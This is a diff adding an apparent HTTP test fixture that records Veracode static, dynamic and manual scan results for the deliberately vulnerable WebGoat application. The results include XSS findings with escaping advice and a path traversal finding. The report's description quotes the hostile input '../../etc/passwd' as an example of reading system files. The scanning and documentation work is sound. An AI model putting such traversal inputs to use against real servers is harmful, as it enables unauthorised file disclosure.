+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:27 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:18:38 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:38 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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